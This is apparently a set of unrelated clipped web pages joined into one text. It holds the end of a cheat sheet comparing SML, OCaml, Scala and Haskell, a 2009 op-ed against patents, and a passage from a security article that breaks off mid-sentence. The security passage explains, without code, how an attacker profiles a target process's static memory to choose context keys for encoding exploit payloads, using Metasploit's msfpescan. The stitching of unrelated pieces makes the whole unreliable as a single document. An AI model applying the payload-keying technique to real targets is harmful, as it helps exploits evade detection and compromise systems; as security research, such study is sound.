def get\(\): Int = \{ n \}  
\}|  
object creation| | let c = new counter;;| val c = new Counter|   
method invocation| | c\#incr;;  
c\#get;;| c.incr  
c.get|  
field access| |  _none_| |   
inheritance| | | |   
repl  
| standard ml| ocaml| scala| haskell  
repl| $ sml| $ ocaml  
  
_to start F\# repl, highlight code in visual studio and press ALT+ENTER_|  $
scala| $ ghci  
repl limitations| | | |  _Must use let to define values and functions; when defining functions with multiple equations the equations must be separated by semicolons; the clauses of case/of statements must be separated by semicolons; it is not possible to define data types._  
repl last value| it|  _none_  
  
_F\#:_  
it| res0, res1, …| it  
help| |  _none_|  :help| :?  
inspect type| |  _repl displays the type of any expression entered_|  _repl displays the type of any expression entered_|  let a = 3  
:type a  
load source file| use "hello.ml";| \#use "hello";;| | :edit hello.hs  
:load hello  
search path| | \#directory "libdir";;| |   
set search path on command line| | ocaml -Ilibdir| |   
|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
## version used

Versions used to test the code samples in the cheat sheet.

## version

How to get the version.

## interpreter

How to run the interpreter on a file of source code.

**scala:**

Scala can be run "Perl style" like this:

[code]

    scala foo.scala
    
[/code]

or "Java style" like this:

[code]

    scala Foo
    
[/code]

When the code is run "Java style", the code to be executed must be in the
_main_ method of an object with the same name as the file. When the code is
run "Perl style" the statements o be executed should be at the top level
outside of any object, class, or method.

## shebang

How to use the interpreter in a shebang.

**scala**

To use scala as a shebang, it is necessary to terminate the shell script
portion of the script with \!\#

[code]

    #!/bin/sh
    exec scala $0 $@
    !#
    println("hello world")
    
[/code]

## bytecode compiler and interpreter

How to compile source to bytecode and run it.

**ocaml:**

It is not necessary to invoke _ocamlrun_ on the bytecode; the bytecode can be
executed directly because the bytecode compiler puts a shebang invocation at
the top of the file.

## native compiler

How to compile source to native code and run it.

## library which is always imported

The name of the library containing the types and functions which are always
available.

## statement terminator

**ocaml:**

;; is the ocaml statement separator. It is not necessary at the end of the
line if the following line starts with an _open_ or _let_ keyword or at the
end of the file.

**scala:**

Scala infers the existence of a semicolon at the end of a newline terminated
line if none of the following conditions hold:

  * the line ends with a infix operator, including a period
  * the following line begins with a word that is not legal at the start of a statement
  * the line ends inside parens or square brackets, neither of which can contain multiple statements

## blocks

## single line comment

## multi-line comment

**ocaml:**

\(\* \*\) style comments can be nested.

## hello world

**scala**

In order for a scala program to be compiled and run, there must be a top level
object with a main method:

[code]

    object Hello {
      def main(args: Array[String]) {
        println("hello world")
      }
    }
    
[/code]

## value

## variable

## unit

## null

# Arithmetic and Logic

## true and false

## boolean type

## logical operators

## relational operators

**sml:**

Comparisons between reals with = and <> are not permitted in SML/NJ, but are
permitted in Alice.

## numeric types

**scala:**

Arithmetic operators can be used on values of type _Char_ , which then behaves
as a 16 bit unsigned integer. Integer literals are of type _Int_ unless
suffixed with _L_ :

[code]

    scala> 9223372036854775807L
    res24: Long = 9223372036854775807
    
    scala> 9223372036854775807 
    <console>:1: error: integer number too large
    
[/code]

## integer operators

## integer exponentiation

**ocaml:**

How to define a function which computes the power of an integer:

[code]

    let integer_exponent b e =
      let rec aux x i =
        if i = e then x else aux (x * b) (i + 1)
      in
      aux 1 0;;
    
[/code]

## largest integer

**scala:**

The largest integers are available in the constants _Int.MaxValue_ and
_Long.MaxValue_.

## integer overflow

## integer division by zero

## integer division, remainder, float division

## negative integer literal

## float operators

## float exponentiation

## float functions

## add integer and float

**ocaml:**

OCaml also can convert a integer to float with _float\_of\_int_.

\[arithmetic truncation\]

## arithmetic truncation

## min and max

## float overflow

## float division by zero

## sqrt -2.0

## random integer, uniform float, normal float

**scala:**

The scala native math \(named Math before Scala 2.8\) library has a function
for returning a random double in uniform distribution on the unit interval:

[code]

    math.random
    
[/code]

## bit operators

**ocaml:**

Also has operators which perform arithmetic shift: _asl_ and _asr_. When
performing an arithmetic shift, the sign of the integer is preserved.

**haskell:**

Haskell does not assign a default size or type to numeric literals. Hence
numeric literals must have their type declared for bit operations to be
performed on them.

# Strings

## literal

## concatenation

**f\#:**

F\# supports \(with a warning\) the ^ operator for compatibility with OCaml.

## string escapes

**scala:**

Unicode escapes might not work when scala is installed on a Mac because the
encoding is set by default to MacRoman:

[code]

    scala> System.getProperty("file.encoding")
    res0: java.lang.String = MacRoman
    
[/code]

This can be fixed by passing the following flag to _java_ in the _scala_ shell
script:

[code]

    -Dfile.encoding=UTF-8
    
[/code]

# Lists and Tuples

## list literal

## list element element

## list head

**f\#:**

Supports _List.hd_ \(with a warning\) to be compatible with OCaml.

## list-tail

Supports _List.tl_ \(with a warning\) to be compatible with OCaml.

## tuple

## tuple element

# Data Types

## algebraic sum type

## algebraic product type

## type synonym

# Functions and Scope

## let … in …

How to define local variables.

**ocaml:**

OCaml uses _let_ to define a value and _let_ with _in_ to define values in a
local scope. OCaml follows the usage of the original dialect of ML in this
respect.

OCaml can define multiple values with a single _let_ and _in_ by conjoining
the definitions with _and_. The defintiions are performed in parallel, so
later definitions cannot use the earlier definitions:

[code]

    let z = 
    let x = 3
    and y = 4 in
    x * y;;
    
[/code]

**scala:**

Blocks can be used in Scala exclusively to define scope. Furthermore blocks
are expressions and evaluate to their last statement.

**haskell:**

Haskell uses _let_ with _in_ to define local scope. In addition, _ghci_ uses
_let_ without _in_ to define values.

## where

How to define local variables with definitions after the expression that uses
them.

## function

How to define a function.

**scala**

Recursive functions must have their return type declared because the Scala
compiler cannot infer it.

## lambda

How to define an anonymous function.

## piecewise defined function

How to define a function with multiple equations and matching on the
arguments.

## recursive function

How to define a recursive function.

## mutually recursive functions

How to define two functions which call each other. Mutual recursion can be
eliminated by inlining the second function inside the first function. The
first function is then recursive and can be defined independently of the
second function.

## named parameter

How to define and invoke a function with named parameters.

**ocaml:**

Multiple parameters can share a name. In the function definition colons are
used to rename the parameters for use in the function body.

[code]

    let add_xs ~x:x1 ~x:x2 = x1 + x2;;
    add_xs ~x:3 ~x:7;;
    
[/code]

## named parameter default value

How to make named parameters optional by providing a default value in the
definition.

**ocaml:**

For a named parameter to be optional, it must be following by an unnamed
parameter in the definition. This permits the parser to unambiguously
determine if the optional parameter has been provided or not. If the optional
parameter is not followed by an unnamed parameter in the definition, then
named parameter is not optional. If the function is invoked without the
parameter, it returns a curried version of the function which expects the
missing named parameter as an argument.

## infix operator in prefix position

How to invoke an infix operator in prefix position.

## function in infix position

How to invoke a function in infix position.

## currying

How to create a curried function by providing values for some of the arguments
of a function.

**scala:**

Functions can only be curried if they are defined with special syntax.
Functions defined with this syntax must be invoked with a pair of parens for
each argument.

## function composition operator

An operator which takes two functions as arguments and returns a function
constructed from them by composition.

## lazy evaluation

How to evaluate the arguments to a function in a lazy manner.

**standard ml:**

Alice provides the `lazy` function. It is up to the caller to specify that the
argument is to be evaluated lazily.

**ocaml:**

OCaml provides the `lazy` function. It is up to the caller to specify that the
argument is to evaluated lazily.

**scala:**

Functions can be defined to evaluate their arugments lazily by putting a `=>`
operator between the colon and the type of the parameter in the function
signature.

**haskell:**

Haskell evaluates arguments lazily by default.

## strict evaluation

**haskell:**

The `seq` function evaluates its first argument and then returns the second
argument.

# Execution Control

## if

## if else-if else

## sequencing

## while

**ocaml:**

There is no break or continue statement. In addition to using references, it
is possible to use exceptions to break out of a while loop.

## for

How to loop over a range of integers.

**sml:**

How to define a `for` loop in SML:

[code]

    datatype for = to of int * int
                 | downto of int * int
    
    infix to downto
    
    val for =
        fn lo to up =>
           (fn f => let fun loop lo = if lo > up then ()
                                      else (f lo; loop (lo+1))
                    in loop lo end)
         | up downto lo =>
           (fn f => let fun loop up = if up < lo then ()
                                      else (f up; loop (up-1))
                    in loop up end)
    
[/code]

How to use the for loop:

[code]

    for (1 to 9)
        (fn i => print (Int.toString i))
    
    for (9 downto 1)
        (fn i => print (Int.toString i))
    
[/code]

## for in reverse

How to iterate over a reversed range of integers.

## list iteration

How to iterate over the members of a list.

## loop

An infinite loop.

## raise error

How to raise an error.

## handle error

How to handle an error.

# Environment and I/O

# Modules

## module example

## namespaces

## file name restrictions

## import

## module creation

## module alias

## module separator

## submodule

## inspect module

# Objects

# REPL

## repl

## repl limitations

## repl last value

## help

**ocaml**

The OCaml top level provides these directives:

[code]

    #cd "DIRNAME";;
    #directory "DIRNAME";;
    #install_printer PRINTER_NAME;;
    #label BOOL;;
    #load "FILENAME";;
    #print_depth N;;
    #print_length N;;
    #quit;;
    #remove_printer PRINTER_NAME;;
    #trace FUNCTION_NAME;;
    #untrace FUNCTION_NAME;;
    #untrace_all;;
    #use "FILENAME";;
    #warnings "WARNINGS_LIST";;
    
[/code]

## inspect type

## load source file

## search path

## set search path on command line

# SML

Programming in Standard ML '97  
Standard ML Basis Library  
Notes on Programmming in SML/NJ \(pdf\)  
Syntax Across Languages: SML  
MLton Documentation  
Alice Homepage

# OCaml

The Objective-Caml system, release 3.11  
Objective CAML Tutorial  
Introduction to Objective Caml \(pdf\) Hickey  
Standard ML and Objective Caml, Side by Side  
Caml Programming Guidelines  
Syntax Across Languages: OCaml  
The F\# Survival Guide

# Scala

The Scala Language Specification \(pdf\)  
Scala 2.7.7 API  
Java 1.6 API

# Haskell

Haskell 98 Language and Libraries

What follows is an explanation of traits which make Haskell different from
OCaml and Scala.

**lazy evaluation of arguments by default**

In Haskell as in most languages it is possible to provide expressions as
arguments to a function when it is invoked. In most other languages the
expressions are evaluated before the invoked function is executed. In Haskell
the expressions are wrapped in closures called _thunks_ and passed to the
executed function which evaluates them as needed. As a result the following
Haskell code runs and evaluates to 7, whereas the equivalent code in most
other language would raise a division by zero error:

[code]

    first_arg x y = x
    first_arg 7 (1/0)
    
[/code]

In Lisp terminology, a functions which evaluates its arguments lazily is
called an `expr` or a `fexpr`. A function which performs strict evaluation is
called a `subr` or a `fsubr`. `exprs` and `fexprs` were used in old Lisp
dialects to implement conditional expressions such as `if` and `cond`. The
terminology is still encoutered, though in modern Lisp dialects `if` and
`cond` are implemented with macros.

**type system identifies pure functions**

The Haskell type system distinguishes between pure and impure functions.
Impure functions are called actions and usually have a type of the form `IO t`
where `t` is a type variable. The `main` routine has type `IO ()`.

**no loops**

OCaml, Scala, and Haskell all perform tail call optimization so that loops can
be replaced with equally efficient code that performs recursion. Actually, in
the case of Haskell, loops must be replaced with recursion because Haskell
doesn't provide any functions or keywords to implement loops.

**indentation defines blocks**

**main function marks initial execution point**

# History

# Lambda Calculus

An Introduction to Lambda Calculus \(pdf\) Barendregt 1994

Developed by Alonzo Church in the 1930s, the lambda calculus is a model of
computation. Church used it in 1936 to show that arithmetic as formalized by a
Peano system is undecidable; that is, there are theorems which are true, but
which cannot be shown to be true using the axioms of arithmetic.

As a model of computation, the lambda calculus is equal in expressive power to
Turing machines. No computational models have been discovered which have
greater expressive power than the lambda calculus or Turing machines. The
unprovable Church-Turing thesis states that there are none.

Statements in the lambda calculus are built up with two operations:
abstraction and application. Abstraction can be interpreted as defining a
mathematical function, and application can be interpreted as use of a
mathematical function.

Turing machines, in contrast, consist of a tape, a head, a table of
instructions, and a state register. These concepts correspond to the memory,
the address of the next instruction to execute, the set of machine
instructions, and the registers of a computer with the von Neumann
architecture.

The lambda caculus can treat functions as data. Indeed, in pure lambda
calculus, functions are the only kind of data there is. The lambda calculus
can nevertheless model the natural numbers by assigning a function to
represent each natural number. These functions are the Church numerals.
Functions can also be assigned to represent the values _true_ and _false_ ,
and the logical operators _and_ , _or_ , and _not_ ; these functions are the
Church booleans.

The Kleene-Rosser paradox, obtaining by defining _k=\(λ x.~\(xx\)\)_ and then
applying _k_ to itself, shows that the lambda calculus cannot be used as a
basis for mathematics in a manner similar to first order predicate logic and
the Zermelo axioms of set theory. Typed systems of lambda calculus attempt to
address this deficiency by assigning types to functions and data and
forbidding application of a function to a datum if the types do not match.
Although typed systems can avoid the Kleene-Rosser paradox, they are not as
expressive as the untyped lambda calculus.

Assigning a type to a function in the lambda calculus is comparable to
assigning a type to a variable or a region of memory in a C program. In the
case of the C program, the type remembers that the memory contains data that
should be interpreted as, say, an integer and not a floating point number or
string data. Assigning types to memory thus prevents programming errors that
would result in nonsense. Types can also prevent programs from being written
that would crash because of incorrect use of memory containing the address of
another memory location.

Typed lambda calculi are central to the Curry-Howard correspondence, which is
a one-to-one relationship between mathematical proofs and a class of computer
programs.

# Functional Programming

The Next 700 Programming Languages \(pdf\) Landin 1966

Landin's 1966 article introduces a theoretical core for future languages
called ISWIM. Languages built on this core would have a "functional" subset of
features, and portions of the program written entirely in the functional
subset could be reasoned about in the same manner that mathematicians reason
about algebraic equations. In particular, the principle of substitution holds:
when two different expressions yield the same value, one expression can be
substituted for the other with no change in result.

Landin's article shows that computer scientists were already distinguishing
between imperative programming and functional programming. Landin isolates two
features of imperative languages which invalidate the applicability of
substitution: jumps and assignment.

TODO: referential transparency. In algebraic equations. In lambda calculus.
Order of calculuation not significant.

Functional programming got its start with Algol, which introduced lexical
scope, and Lisp 1.5, which put an emphasis on programming with expressions
instead of statements. ISWIM employs the _let_ and _where_ keywords for
lexical scope, _where_ differing from _let_ in that it places the definitions
after the expression that uses them. The language CPL, described in 1963 and
unimplemented as of 1966, was already using _where_ in this manner. The
language BASIC developed at Dartmouth in 1964 used _let_ for dynamic
assignment. _let_ was adoped by future dialects of Lisp.

Landin notes that many Algol programmers were making it a practice to
eliminate jumps or the goto statement where possible. In 1968 Dijkstra would
write an influential letter to the ACM entitled "GOTO considered harmful".

Landin uses _let rec_ and _where rec_ for defining recursive functions. This
notation persists in OCaml but not SML. Landin also proposed using
indentation, the so-called off-sides rule, for defining blocks, a practice
that was picked up by Haskell but not the ML dialects.

TODO: the development of Scheme

# ML History

Edinburgh LCF Milner 1978  
How ML Evolved \(pdf\) Milner 1982

Milner etal. began work on a theorem proving assistant called LCF at Stanford
in 1971. Work continued at Edinburgh in 1974. Milner needed a language which
supported higher order functions; i.e. functions which accept functions as
values. He chose ISWIM as the basis for his language. Milner needed the
language to be typed so that theorems being proved could be distinguished from
the tactics for proving theorems.

Typed, higher order functions have complex declarations, and Milner developed
and described Algorithm W in 1978 for the inference of type. Milner later
learned that some of his results had already been arrived at by Hindley and
Church.

ML was initally implemented in the Stanford dialect of Lisp. Luca Cardelli
implemented a compiled version of ML in 1981. Specifically, a compiler
implemented in Pascal took the ML source and converted it to an intermediate
form which could be executed on an abstract machine implemented in assembler.
The compiler and abstract machine were available for VAX machines running
Unix. All type checks took place in the compiler.

# Standard ML History

Hope: an Experimental Applicative Language \(pdf\) Burstall MacQueen Sannella
1980  
The Definition of Standard ML \(Revised\) Milner etal 1997  
SML '97 Conversion Guide MacQueeen 1999

The original version of ML was somewhat vaguely specified, and Cardelli's
Pascal implementation introduced some changes and improvements. Furthermore,
another statically typed functional language called Hope appeared in 1980
which introduced algebraic data types and pattern matching. Milner realized
that ML had value independent of its role in the theorem proving assistant
LCF, and that it would benefit from additions and standardization.

Hence Milner published "A Proposal for Standard ML" in December 1983. The
article was followed by a three day conference in June 1984. Numerous changes
were made to the language, and MacQueen designed a module system for ML. The
formal description of Standard ML was published in book form in 1990 and a
revision published in book form in 1997.

# Polymorphism Newsletter

The Polymorphism Newsletter was edited by Cardelli and MacQueen, at the time
both working at Bell Labs.

Polymorphism I.0 \(pdf\) Cardelli and MacQueen, Nov 1982

  * _Known VAX-ML System Locations_

Polymorphism I.1 \(pdf\) Cardelli and MacQueen, Jan 1983

  * _How ML Evolved_ , Milner
  *  _Unambiguous Syntax for ML_ , Sethi
  *  _The Functional Abstract Machine_ , Cardelli
  *  _SERC ML/LCF/Hope Meeting at Rutherford Labs_

Polymorphism I.2 \(pdf\), Cardelli and MacQueen, Apr 1983

  * _Poly Report_ , Matthews
  *  _Introduction to Poly_ , Matthews
  *  _Ponder and its Type System_ , Fairbairn
  *  _Recent Developments in LCF: Examples of Structural Induction_ , Paulson
  *  _Rewriting in Cambridge LCF_ , Paulson
  *  _A Revised Logic PPLambda: A Reference Manual_ , Paulson
  *  _ML Under Eunice_ , Kitchen and Linch

Polymorphism I.3 \(pdf\) Cardelli and MacQueen, Dec 1983

  * _A Proposal for Standard ML_ , Milner
  *  _ML under Unix_ , Cardelli
  *  _Modules for ML_ , MacQueen
  *  _Stream Input/Output_ , Cardelli

Polymorphism II.1 \(pdf\) Cardelli and MacQueen, Jan 1985

  * _Report on the Standard ML Meeting_ , MacQueen
  *  _Basic Polymorphic Type Checking_ , Cardelli
  *  _Annotated Bibliography on LCF_ , Paulson

Polymorphism II.2 \(pdf\) MacQueen, Oct 1985

  * _The Standard ML Core Language_ , Milner
  *  _Modules for ML_ , MacQueen
  *  _Standard ML Input/Output_ , Harper

# SML Implementations

## Standard ML of New Jersey

Standard ML of New Jersey  
Rabbit: A Compiler for Scheme Steele 1978  
Caml Trading Talk at CMU \(video\) Minsky 2009, opinions on SML
implementations at 51:10  
Compiling with Continuations Appel 1991

MacQueen and Appel started work on SMLNJ in 1986, and they spent over five
years developing a complete programming environment for SML. The SMLNJ
compiler reduces SML source code to an intermediate representation which uses
continuation passing style \(CPS\). CPS was first used for a Scheme compiler
written by Steele in 1978, and since CPS can be expressed in Scheme, the
intermediate representation used by the Scheme compiler was a subset of
Scheme. SMLNJ uses ML data types to represent CPS expressions, which provide
type safety not available to a Scheme IR.

SMLNJ provides both a compiler and an interpreter. It is still actively being
worked on; the version 110.72 was releases in February 2010.

## MLton

MLton  
MLton Performance Compared to Other ML Compilers

MLton is an SML to C compiler. Work was initiated by Stephen Weeks in 1997,
and MLton was first released in 1999. MLton is a "whole program compiler". By
2002 the ability to generate native code had been added.

MLton appears to be the fastest SML compiler. The most recent release \(as of
May 2010\) was in August 2007.

## Alice

Alice

## SML.NET

sml.net

## Moscow ML

Moscow ML

# Caml History

A brief History of Caml  
Categorical Abstract Machine \(CAM\)

INRIA became interested in the ML language as early as 1980. The first version
of Caml was released in 1987. The name refers to the Categorical Abstract
Machine, a model of computation of interest to the researchers at INRIA. The
first version of Caml, retroactively known as Caml Heavy, compiled to the LLM3
virtual machine used by Le Lisp. In 1991 Xavier Leroy released Caml Light
which had a bytecode interpreter written in C. In 1996 OCaml was released. The
name referred to the object system which was added to Caml; the release
included a native code compiler.

Don Syme worked on the generics for C\# which were introduced in Visual Studio
2005. F\# has been available as a download since 2007 and is included with
Visual Studio 2010. F\# is close to OCaml; it had been preceded by an attempt
to bring Haskell to .NET which was put aside because too much monadic code was
required to interact with the .NET libraries. F\# was also preceded by an SML
port to .NET.

# Scala History

The Origins of Scala Odersky 2009  
Join-calculus  
Scala Version History: 2.5 thru 2.7  
Scala Version History: 1.0 thru 2.4

Martin Odersky and Phil Wadler developed a functional language called Pizza
for the JVM in 1996. Pizza has generics — what would eventually become the
generics in Java 5 — as well as higher order functions and pattern matching.
Odersky next developed a JVM language called Funnel which is based on the
join-calculus.

Odersky's third language was Scala; the first version was released in 2003.
The Scala compiler was rewritten in Scala in 2006.

# Haskell History

A History of Haskell \(pdf\) Hudak Hughes Jones Wadler 2007  
Notions of computations and monads \(pdf\) Moggi 1991  
Comprehending Mondas \(pdf\) Wadler 1992  
Arrows wikipedia

David Turner implemented a pure version of ISWIM in 1972, and he made the
language \(called SASL\) non-strict or lazy in 1976. He followed this language
up with KRC \(1981\) which contained pattern matching, guards, and list
comprehensions. This in turn was followed by Miranda \(1985\), which had
polymorphic types in the manner of ML.

Miranda is closed source. The FP community resolved to design an open source
lazy functional language in 1987, and the new language was specified in the
Haskell Report \(1990\) and the Haskell 98 Report \(1999\). The Glasgow
Haskell Compiler was first available as a beta version in 1991.

A notable distinction between Miranda and Haskell is the use of category
theory, in particular monads, in the type system to distinguish pure and
impure functions. Arrows are a generalization of monads.

# Thanks

  * Simon Ochsenreither

page revision: 812, last edited: 25 Aug 2011, 04:23 CEST \(47 days ago\)

Edit History Files \+ Options

Help | Terms of Service | Privacy | Report a bug | Flag as objectionable
Powered by Wikidot.com

Unless otherwise stated, the content of this page is licensed under Creative
Commons Attribution-ShareAlike 3.0 License

<img
src='http://hyperpolyglot.org/data:image/png;base64,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'
width='24' height='24' />

# The patent system: End it, don't mend it / The Christian Science Monitor -
CSMonitor.com

**Created:**| _12/12/2009 4:49:56 PM_  
---|---  
**Updated:**| _12/12/2009 4:50:08 PM_  
**Author:**| __  
**Tags:**| __  
  

# The patent system: End it, don't mend it

##

From AIDS to Android phones, research shows that intellectual property rights
are detrimental to the social good.

  * Print
  *   * RSS

By David K. Levine , Michele Boldrin / December 8, 2009

St. Louis

It is common to argue that intellectual property \(IP\) in the form of
copyrights and patents is crucial for the creation of innovative ideas and
inventions such as machines, drugs, software, books, and music. Proponents
argue that IP is just like ordinary property in houses and cars. In fact,
empirical evidence shows that IP does not promote innovation and that, unlike
ordinary property, it is detrimental to the social good.

## What does the Constitution say?

Contrary to popular myth, the US Constitution does not provide authors or
inventors with special rights: It merely gives Congress the option of
"securing for limited times to authors and inventors the exclusive right to
their respective writings and discoveries." The purpose of granting such
private monopolies is solely to "promote the progress of science and useful
arts."

Is Congress justified in granting such private monopolies? Is the judiciary
correct in continuously extending their areas of enforceability? Do they in
fact "promote the progress of science and useful arts"?

These are not abstract issues. The outcome of the Bilski v. Kappos case
currently before the US Supreme Court may substantially alter what is
patentable.

As economists, we are convinced that incentives matter. So how can we argue
that offering a reward in the form of monopoly does not increase creation and
innovation?

## Incentives cut both ways

As a matter of theory, intellectual property is a double-edged sword. On the
one hand, giving a reward increases the incentive to innovate. On the other,
allowing the monopolization of existing ideas taxes the creation of new ones,
thereby decreasing the incentive to innovate. The bottom line: Contrary to
widespread belief, economic theory does not provide support for the continuous
extension of IP. The only answer to the question of whether IP serves the
desired purpose must be empirical. Does it work in practice?

A great deal of applied economic research has tried to answer this question.
The short answer is that intellectual property does not increase innovation
and creation. Extending IP rights may modestly boost the incentive for
innovation, but this positive effect is wiped away by the negative effect of
creating monopolies. There is simply no evidence that strengthening patent
regimes increases innovation or economic productivity. In fact, some evidence
shows that increased protection even decreases innovation. The main finding is
that making it easier to get patents increases … patenting\!

## The heavy price we pay for patents

Ideas kept under lock and key are much less useful than those that are freely
available. So we find Africans dying of AIDS because they cannot afford to pay
monopoly prices to patent holders of certain drugs. Or, at a more mundane
level, we cannot legally watch movies on our new Android phones because
"rights holders" do not wish us to. And we must suffer through such
indignities as being sued by voting machine companies over copyright violation
when their malfunctioning software is revealed to the public.

# Uninformed - vol 9 article 3

**Created:**| _9/3/2009 9:07:11 AM_  
---|---  
**Updated:**| _9/3/2009 9:07:23 AM_  
**Author:**| __  
**Tags:**| _reversing Metasploit_  
  
  
  
  
**Next:** Event Data **Up:** Application Specific Keys **Previous:**
Application Specific Keys  
  

### Static Application Data

If the attacker has the convenience of reproducing the operating environment
and execution of the target application, or even simply has access to the
application's executable, a context-key may be chosen from information known
about the address space of the running process. Known locations of static
values such as environment variables, global variables and constants such as
version strings, help text, or error messages, or even the application's
instructions or linked library instructions themselves may be chosen from as
contextual keying information. Profiling the ApplicationTo successfully select
a context-key from a running application's memory, the application's memory
must first be profiled. By polling the application's address space over a
period of time, ranges of memory that change can be eliminated from the
potential context-key data pool. The primary requirement of viable data in the
process's memory space is that it does not change over time or between
subsequent instantiations of the running application. After profiling is
complete, the resultant list of memory addresses and static data will be
referred to as the application's memory map. Memory Map CreationThe basic
steps to create a comprehensive memory map of a running process are:

1. 
    Attach to the running process. 
2. 
    Initialize the memory map with a poll of non-null bytes in the running process's virtual memory. 
3. 
    Wait an arbitrary amount of time. 
4. 
    Poll the process's virtual memory again. 
5. 
    Find the differential between the contents of the memory map and the most recent memory poll. 
6. 
    Eliminate any data that has changed between the two from the memory map. 
7. 
    Optionally eliminate any memory ranges shorter than your desired key length. 
8. 
    Go to step 3. 
Continue the above process until changing data is no longer being eliminated
and store the resulting memory map as a map of that instance of the target
process. Restart the application and repeat the above process, producing a
second memory map for the second instance of the target process. Compare the
two memory maps for differences and again eliminate any data that differs.
Repeat this process until changing data is no longer being eliminated. The
resulting final memory map for the process must then be analyzed for static
data that may be directly relative to the environment of the process and may
not be consistent across processes running within different environments such
as on different hosts or in different networks. This type of data includes
network addresses and ports, host names, operating system "unames", and so
forth. This type of data may also include installation paths, user names, and
other user-configurable options during installation of the application. This
type of data does not include application version strings or other pertinent
information which may be directly relative to the properties of the
application which contribute to the application being vulnerable and
successfully exploited. Identifying this type of information relative to the
application's environment will produce two distinct types of memory map data;
one type containing static application context data, and the other type
containing environment context data. Both of these types of data can be useful
as potential context-key values, however, the former will be more portable
amongst targets whereas the latter will only be useful when selecting key
values for the actual target process that was actively profiled. If it is
undesirable, introducing instantiation of processes being profiled on
different network hosts and with different installation configuration options
to the memory map generation process outlined above will likely eliminate the
latter from the memory map entirely. Finally, the memory maps can be trimmed
of any remaining NULL bytes to reduce their size. The final memory map should
consist of records containing memory addresses and the string of static data
which can be found in memory at those locations. Memory Map Creation
MethodsMetasploit Framework's msfpescanOne method to create a memory map of
viable addresses and values is to use a tool provided by the Metasploit
Framework called `msfpescan`. `msfpescan` is designed to scan PE formatted
executable files and return the requested portion of the `.text`section of the
executable. Data found in the `.text` section is useful as potential context-
key data as the `.text` section is marked read-only when mapped into a
process' address space and is therefore static and will not change.
Furthermore,`msfpescan` predicts where in the executed process' address space
these static values will be located, thus providing both the static data
values as well as the addresses at which those values can be retrieved. To
